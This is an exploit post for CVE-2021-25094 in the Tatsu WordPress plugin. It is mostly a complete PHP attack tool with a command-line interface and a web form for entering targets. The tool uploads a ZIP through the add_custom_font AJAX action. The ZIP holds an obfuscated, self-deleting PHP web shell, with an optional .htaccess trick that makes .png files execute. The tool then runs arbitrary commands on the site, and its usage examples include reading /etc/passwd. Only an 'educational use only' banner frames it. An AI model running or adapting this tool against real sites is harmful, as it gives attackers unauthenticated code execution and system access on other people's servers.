WordPress Tatsu 3.3.11 Shell Upload
=============================================================================================================================================
| # Title WordPress Tatsu 3.3.11 Shell Upload
=============================================================================================================================================
| # Title : WordPress Tatsu 3.3.11 Plugin Unauthenticated File Upload |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://tatsubuilder.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/190566/ & CVE-2021-25094
[+] Summary :
Critical unauthenticated remote code execution vulnerability in Tatsu WordPress Plugin (versions 3.3.11)
allowing attackers to upload and execute arbitrary PHP code through malicious ZIP file uploads without any authentication.
[+] POC :
php poc.php or http://127.0.0.1/poc.php
<?php
/*
* Tatsu WordPress Plugin Pre-Auth RCE Exploit
* CVE-2021-25094
* by indoushka
* PHP Implementation based on Python exploit
*/
class TatsuRCEExploit {
private $target;
private $port;
private $ssl;
private $base_path;
private $timeout;
private $headers;
private $zip_name;
private $shell_filename;
public function __construct($target, $port = 80, $ssl = false, $base_path = '/') {
$this->target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
$this->headers = [
'X-Requested-With: XMLHttpRequest',
'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
'Accept: */*',
'Accept-Language: en-US,en;q=0.9'
];
}
/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking Tatsu WordPress Plugin vulnerability...\n";
// Check if WordPress is accessible
$res = $this->send_request('/');
if (!$res || $res['code'] != 200) {
echo "[-] Cannot access WordPress site\n";
return "unknown";
}
// Check Tatsu plugin
$res = $this->send_request('/wp-content/plugins/tatsu/');
if ($res && $res['code'] == 200) {
echo "[+] Tatsu plugin detected\n";
// Try to check version from changelog
$version = $this->check_version();
if ($version && $this->is_version_vulnerable($version)) {
echo "[+] ? Tatsu version $version is vulnerable\n";
return "vulnerable";
} else {
echo "[+] Tatsu plugin found (version check failed)\n";
return "likely_vulnerable";
}
}
echo "[-] Tatsu plugin not found\n";
return "safe";
}
/**
* Check Tatsu version
*/
private function check_version() {
$res = $this->send_request('/wp-content/plugins/tatsu/changelog.md');
if ($res && $res['code'] == 200) {
if (preg_match('/v?(\d+\.\d+\.\d+)/', $res['body'], $matches)) {
return $matches[1];
}
}
return null;
}
/**
* Check if version is vulnerable
*/
private function is_version_vulnerable($version) {
return version_compare($version, '3.3.11', '<=');
}
/**
* Generate malicious ZIP file
*/
private function generate_zip($technique = 'php', $custom_shell = null, $keep = false) {
echo "[*] Generating malicious ZIP file...\n";
$zip = new ZipArchive();
$zip_filename = tempnam(sys_get_temp_dir(), 'tatsu_') . '.zip';
if ($zip->open($zip_filename, ZipArchive::CREATE) !== TRUE) {
return false;
}
$this->zip_name = $this->random_string(3);
$this->shell_filename = '.' . $this->random_string(5);
switch ($technique) {
case 'php':
$shell_content = $this->generate_php_shell($keep);
$this->shell_filename .= '.php';
break;
case 'htaccess':
$shell_content = $this->generate_htaccess_shell($keep);
$this->shell_filename .= '.png';
break;
case 'custom':
if ($custom_shell && file_exists($custom_shell)) {
$shell_content = file_get_contents($custom_shell);
$this->shell_filename = '.' . basename($custom_shell);
} else {
echo "[-] Custom shell file not found\n";
return false;
}
break;
default:
echo "[-] Unknown technique: $technique\n";
return false;
}
if ($technique == 'htaccess') {
$zip->addFromString('.htaccess', "AddType application/x-httpd-php .png\n");
}
$zip->addFromString($this->shell_filename, $shell_content);
$zip->close();
$zip_content = file_get_contents($zip_filename);
unlink($zip_filename);
return $zip_content;
}
/**
* Generate PHP shell
*/
private function generate_php_shell($keep = false) {
$shell = '<?php ';
$shell .= '$f = "lmeyst";';
$shell .= '@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];';
$shell .= '@$words = array(base64_decode($_POST[\'text\']));';
$shell .= '$j="array"."_"."filter";';
$shell .= '@$filtered_words = $j($words, $a);';
if (!$keep) {
$shell .= '@unlink(__FILE__);';
}
$shell .= '?>';
return $shell;
}
/**
* Generate .htaccess + PHP shell
*/
private function generate_htaccess_shell($keep = false) {
$shell = '<?php ';
$shell .= '$f = "lmeyst";';
$shell .= '@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];';
$shell .= '@$words = array(base64_decode($_POST[\'text\']));';
$shell .= '$j="array"."_"."filter";';
$shell .= '@$filtered_words = $j($words, $a);';
if (!$keep) {
$shell .= '@unlink(\'.\'+\'h\'+\'t\'+\'a\'+\'cc\'+\'e\'+\'ss\');';
$shell .= '@unlink(__FILE__);';
}
$shell .= '?>';
return $shell;
}
/**
* Upload malicious ZIP
*/
private function upload_zip($zip_content) {
echo "[*] Uploading malicious ZIP file...\n";
$boundary = '----WebKitFormBoundary' . $this->random_string(16);
$data = "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
$data .= "add_custom_font\r\n";
$data .= "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$this->zip_name}.zip\"\r\n";
$data .= "Content-Type: application/zip\r\n\r\n";
$data .= $zip_content . "\r\n";
$data .= "--{$boundary}--\r\n";
$headers = array_merge($this->headers, [
"Content-Type: multipart/form-data; boundary={$boundary}",
"Content-Length: " . strlen($data)
]);
$res = $this->send_request('/wp-admin/admin-ajax.php', 'POST', [], $data, $headers);
if ($res && $res['code'] == 200) {
$json = json_decode($res['body'], true);
if ($json && isset($json['status']) && $json['status'] == 'success') {
echo "[+] ZIP file uploaded successfully\n";
if (isset($json['name'])) {
$this->zip_name = $json['name'];
}
return true;
}
}
echo "[-] ZIP upload failed\n";
if ($res) {
echo "[-] HTTP {$res['code']}: {$res['body']}\n";
}
return false;
}
/**
* Execute command via uploaded shell
*/
public function execute_command($command, $technique = 'php', $custom_shell = null, $keep = false) {
echo "[*] Executing command: $command\n";
// Generate and upload ZIP
$zip_content = $this->generate_zip($technique, $custom_shell, $keep);
if (!$zip_content) {
echo "[-] Failed to generate ZIP file\n";
return false;
}
if (!$this->upload_zip($zip_content)) {
return false;
}
// Build shell URL
$shell_url = "/wp-content/uploads/typehub/custom/{$this->zip_name}/{$this->shell_filename}";
echo "[+] Shell URL: {$this->build_url($shell_url)}\n";
// Execute command
$encoded_cmd = base64_encode($command);
$post_data = "text={$encoded_cmd}";
$headers = array_merge($this->headers, [
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: ' . strlen($post_data)
]);
$res = $this->send_request($shell_url, 'POST', [], $post_data, $headers);
if ($res && $res['code'] == 200) {
echo "[+] Command executed successfully\n";
echo "[+] Output:\n{$res['body']}\n";
return true;
} else {
echo "[-] Command execution failed\n";
if ($res) {
echo "[-] HTTP {$res['code']}\n";
}
return false;
}
}
/**
* Full exploitation
*/
public function exploit($command = 'whoami', $technique = 'php', $custom_shell = null, $keep = false) {
echo "[*] Starting Tatsu WordPress Plugin exploitation...\n";
// Check vulnerability first
$status = $this->check();
if ($status !== "vulnerable" && $status !== "likely_vulnerable") {
echo "[-] Target does not appear to be vulnerable\n";
return false;
}
echo "[*] Target appears vulnerable, proceeding with exploitation...\n";
if ($this->execute_command($command, $technique, $custom_shell, $keep)) {
echo "[+] ? Exploitation completed successfully\n";
return true;
} else {
echo "[-] Exploitation failed\n";
return false;
}
}
/**
* Send HTTP request
*/
private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = []) {
$url = $this->build_url($path);
if ($method == 'GET' && !empty($params)) {
$url .= '?' . http_build_query($params);
}
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_CUSTOMREQUEST => $method,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_HEADER => false
]);
// Add POST data if provided
if ($method == 'POST' && $data) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
// Build headers
$headers = array_merge($this->headers, $custom_headers);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response !== false) {
return [
'code' => $http_code,
'body' => $response
];
}
return false;
}
/**
* Generate random string
*/
private function random_string($length = 8) {
$chars = 'abcdefghijklmnopqrstuvwxyz';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $chars[rand(0, strlen($chars) - 1)];
}
return $result;
}
/**
* Build full URL
*/
private function build_url($path) {
$protocol = $this->ssl ? 'https' : 'http';
$full_path = $this->base_path . $path;
return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
????????????????????????????????????????????????????????????????
? Tatsu WordPress Plugin RCE ?
? CVE-2021-25094 ?
? PHP Implementation ?
????????????????????????????????????????????????????????????????
\n";
$options = getopt("t:p:s:u:cC:T:k", [
"target:",
"port:",
"ssl",
"uri:",
"check",
"command:",
"technique:",
"custom-shell:",
"keep"
]);
$target = $options['t'] ?? $options['target'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 80;
$ssl = isset($options['s']) || isset($options['ssl']);
$base_uri = $options['u'] ?? $options['uri'] ?? '/';
$check_only = isset($options['c']) || isset($options['check']);
$command = $options['C'] ?? $options['command'] ?? 'whoami';
$technique = $options['T'] ?? $options['technique'] ?? 'php';
$custom_shell = $options['custom-shell'] ?? null;
$keep = isset($options['k']) || isset($options['keep']);
if (!$target) {
echo "Usage: php tatsu_exploit.php [options]\n";
echo "Options:\n";
echo " -t, --target Target host (required)\n";
echo " -p, --port Target port (default: 80)\n";
echo " -s, --ssl Use SSL (default: false)\n";
echo " -u, --uri Base URI path (default: /)\n";
echo " -c, --check Check only (don't exploit)\n";
echo " -C, --command Command to execute (default: whoami)\n";
echo " -T, --technique Shell technique: php, htaccess, custom (default: php)\n";
echo " --custom-shell Custom shell file path (for custom technique)\n";
echo " -k, --keep Keep shell file after execution\n";
echo "\nExamples:\n";
echo " php tatsu_exploit.php -t wordpress.example.com -c\n";
echo " php tatsu_exploit.php -t 192.168.1.100 -C 'id; uname -a'\n";
echo " php tatsu_exploit.php -t site.com -T htaccess -C 'cat /etc/passwd'\n";
exit(1);
}
$exploit = new TatsuRCEExploit($target, $port, $ssl, $base_uri);
if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
} else {
if ($exploit->exploit($command, $technique, $custom_shell, $keep)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
}
} else {
// Web Interface
$action = $_POST['action'] ?? '';
if ($action === 'check' || $action === 'exploit') {
$target = $_POST['target'] ?? '';
$port = $_POST['port'] ?? 80;
$ssl = isset($_POST['ssl']);
$base_uri = $_POST['uri'] ?? '/';
$command = $_POST['command'] ?? 'whoami';
$technique = $_POST['technique'] ?? 'php';
$keep = isset($_POST['keep']);
if (empty($target)) {
echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
} else {
$exploit = new TatsuRCEExploit($target, $port, $ssl, $base_uri);
ob_start();
if ($action === 'check') {
$exploit->check();
} else {
$exploit->exploit($command, $technique, null, $keep);
}
$output = ob_get_clean();
echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
}
echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
} else {
// Display the form
echo '<!DOCTYPE html>
<html>
<head>
<title>Tatsu WordPress Plugin RCE - CVE-2021-25094</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
border-bottom: 2px solid #007cba;
padding-bottom: 10px;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: bold;
color: #333;
}
input[type="text"], select {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
box-sizing: border-box;
font-size: 14px;
}
.checkbox-group {
display: flex;
align-items: center;
gap: 10px;
}
button {
background: #007cba;
color: white;
padding: 12px 25px;
border: none;
border-radius: 4px;
cursor: pointer;
margin-right: 10px;
font-size: 16px;
}
.danger {
background: #dc3545;
}
.info {
background: #17a2b8;
}
.warning-box {
background: #fff3cd;
border: 1px solid #ffeaa7;
color: #856404;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
.info-box {
background: #d1ecf1;
border: 1px solid #bee5eb;
color: #0c5460;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
</style>
</head>
<body>
<div class="container">
<h1>Tatsu WordPress Plugin RCE</h1>
<h3>CVE-2021-25094 - Unauthenticated Remote Code Execution</h3>
<div class="warning-box">
<strong>?? Educational Use Only:</strong> This tool demonstrates a critical vulnerability in Tatsu WordPress Plugin.
Use only on systems you own or have explicit permission to test.
</div>
<form method="post">
<div class="form-group">
<label for="target">Target Host:</label>
<input type="text" id="target" name="target" placeholder="wordpress.example.com" required>
</div>
<div class="form-group">
<label for="port">Port:</label>
<input type="text" id="port" name="port" value="80">
</div>
<div class="form-group">
<label for="uri">Base URI:</label>
<input type="text" id="uri" name="uri" value="/">
</div>
<div class="form-group">
<div class="checkbox-group">
<input type="checkbox" id="ssl" name="ssl">
<label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
</div>
</div>
<div class="form-group">
<label for="command">Command to Execute:</label>
<input type="text" id="command" name="command" value="whoami">
</div>
<div class="form-group">
<label for="technique">Shell Technique:</label>
<select id="technique" name="technique">
<option value="php">PHP Shell</option>
<option value="htaccess">.htaccess + PHP</option>
</select>
</div>
<div class="form-group">
<div class="checkbox-group">
<input type="checkbox" id="keep" name="keep">
<label for="keep" style="display: inline; font-weight: normal;">Keep shell file</label>
</div>
</div>
<button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
<button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
</form>
<div class="info-box">
<h3>About CVE-2021-25094:</h3>
<p><strong>Vulnerability:</strong> Unauthenticated file upload leading to RCE</p>
<p><strong>Affected Versions:</strong> Tatsu Plugin ? 3.3.11</p>
<p><strong>Authentication:</strong> None required</p>
<p><strong>Endpoint:</strong> /wp-admin/admin-ajax.php</p>
<p><strong>Action:</strong> add_custom_font</p>
<p><strong>Impact:</strong> Remote Code Execution via ZIP file upload</p>
<p><strong>Exploit Chain:</strong> ZIP Upload ? File Extraction ? PHP Execution</p>
</div>
</div>
</body>
</html>';
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================